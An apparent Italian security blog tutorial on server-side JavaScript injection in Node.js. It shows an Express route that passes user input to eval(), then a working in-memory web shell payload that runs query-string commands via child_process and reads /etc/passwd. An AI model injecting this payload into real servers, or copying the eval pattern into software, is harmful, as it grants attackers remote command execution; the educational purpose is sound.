Di recente mi sono interessato ad esempi reali di vulnerabilità in applicativi basati Node.js, che permettano l’iniezione di codice Javascript.
Una CVE recente (CVE-2014-7205) riguarda proprio l’iniezione di codice JS, scoperta da Jarda Kotěšovec nel plugin Basmaster e che permette l’injection arbitraria di codice Javascript.

Ho deciso di creare un piccolo esempio che mostri come un hacker possa sfruttare questo tipo di vulnerabilità per accedere al server.
Andremo a sfruttare uno dei pattern peggiori che uno sviluppatore possa implementare. L’eval() su un input utente, non validato.
Il codice iniettato è una web-shell che esisterà all’interno del processo node e non verrà scritta su disco.
Questa tecnica può essere chiamata in più modi: server-side javascript injection o Remote file inclusion o ancora Remote file execution.

Per rendere le cose semplici, ammettiamo che la nostra demo permetta soltanto un singolo input utente:

Questo il codice vulnerabile:

router.post('/demo1', function(req, res) {
  var year = eval("year = (" + req.body.year + ")");
  var date = new Date();
 
  var futureAge = 2050 - year;
 
  res.render('demo1',
    {
      title: 'Future Age',
      output: futureAge
    });
});

In questo esempio iniettiamo questo codice res.write(‘SSJS Injection’), e il server restituirà quella stringa nella pagina di risposta.

A questo punto è assodato che possiamo effettuare una server-side javascript injection.
Proviamo dunque a iniettare una web shell che si avvia dopo 5 secondi e che rimane in ascolto sulla TCP/8000.

setTimeout(function() {
    require('http').createServer(function(req, res) {
        res.writeHead(200, {
            "Content-Type": "text/plain"
        });
        require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) {
            res.end(s);
        });
    }).listen(8000);
}, 5000)

Scritta su una riga diventa:

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)

Siccome stiamo iniettando codice che verrà interpretato dall’applicazione, non verrà scritto su disco, e l’esecuzione verrà gestita dal processo node esistente.

Ecco l’injection (l’applicazione continua a funzionare e rispondere normalmente):

Eseguiamo cat /etc/passwd sulla web-shell:

Eseguiamo ls -la /etc:

Se il processo node gira con permessi di root, anche i comandi eseguiti sulla nostra web-shell avranno di fatto gli stessi privilegi, e le conseguenze potrebbero essere catastrofiche.
Questo è un esempio molto banale di un’applicazione che soffre di una vulnerabilità di SSJS. Molti tool automatici ancora non sono in grado di identificare questo tipo di vulnerabilità javascript.